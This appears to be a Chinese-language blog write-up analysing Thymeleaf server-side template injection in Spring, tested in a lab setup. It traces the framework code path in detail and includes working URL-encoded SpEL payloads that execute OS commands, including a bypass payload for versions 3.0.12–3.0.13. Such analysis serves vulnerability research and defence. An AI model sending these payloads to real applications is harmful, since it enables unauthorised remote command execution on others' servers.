Thymeleaf SSTI

环境搭建

下载运行
https://github.com/veracode-research/spring-view-manipulation/
Thymeleaf 版本 3.0.11

情景一

payload

1
/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::

在org.springframework.web.servlet.DispatcherServlet#doDispatch下断点调试,跟到org.springframework.web.servlet.DispatcherServlet#processDispatchResult

会将传入的ModleandView对象传进render方法,然后进入到renderFragment方法

在该方法中会判断viewTemplateName中是否存在::,如果存在会执行到

1
fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");

跟进去看一下,来到
org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression(org.thymeleaf.context.IExpressionContext, java.lang.String, boolean)

接着会执行StandardExpressionPreprocessor.preprocess(context, input),继续跟进到
org.thymeleaf.standard.expression.StandardExpressionPreprocessor#preprocess

首先要满足input(也就是模版路径)中有_,然后要满足下面的正则

接着会进入到

1
Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);

继续跟进去
org.thymeleaf.standard.expression.Expression#execute(org.thymeleaf.context.IExpressionContext, org.thymeleaf.standard.expression.StandardExpressionExecutionContext)

该处会执行我们传入的表达式并返回结果

情景二

payload

1
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::a.x

处理流程和情景一大体一样,下面讨论下不一样的地方,首先访问的这个方法里没有返回值,也就是ModleandView对象应该是空的,但是为什么还能够利用呢?原因在于org.springframework.web.servlet.DispatcherServlet#doDispatch中存在着如下方法

1
this.applyDefaultViewName(processedRequest, mv);

跟进去

假如ModleandView对象是空的,则会将请求路径最后一位.以及后面的内容删除,剩下的内容设置为defaultViewName, 接着就是和情景一一样向下的流程;
通过查看payload我们会发现与情景一不同的是payload末尾多了一个a.x其中.x是为了前面讲的删除不影响执行结果,那么a有什么作用呢,一路跟踪代码,定位到org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression(org.thymeleaf.context.IExpressionContext, java.lang.String, boolean)中

改方法是由org.thymeleaf.standard.expression.StandardExpressionPreprocessor#preprocess 方法调用的(见调用栈)
在49行中还会执行一下StandardExpressionPreprocessor.preprocess(context, input),也就是会执行到org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression,执行一次后会返回命令执行的结果

继续跟进去来到org.thymeleaf.standard.expression.FragmentExpression#parseFragmentExpressionContent

该处是在取::后面的值,假如取到的值是空的就会返回null,也就不会正常回显执行命令的结果,所以需要a来填充一下使其代码正常走下去。那么其实如果不加a也是可以正常执行代码的,只不过看不到回显而已

3.0.12-3.0.13通用payload

情景一是可以的

1
__$%7b''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')%7d__::

情景二暂时还没有方法

记录

为什么会自动删除后缀

如图

看下为什么会把.bbb删除
在org.springframework.web.servlet.DispatcherServlet#doDispatch下断点
首先会执行到该方法中的

1
this.applyDefaultViewName(processedRequest, mv);

一路跟进去来到
org.springframework.web.servlet.view.DefaultRequestToViewNameTranslator#getViewName

1
2
3
4
public String getViewName(HttpServletRequest request) {
String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
return this.prefix + this.transformPath(lookupPath) + this.suffix;
}

接着会进入到org.springframework.web.servlet.view.DefaultRequestToViewNameTranslator#transformPath

执行到StringUtils.stripFilenameExtension(path)

会把后缀删除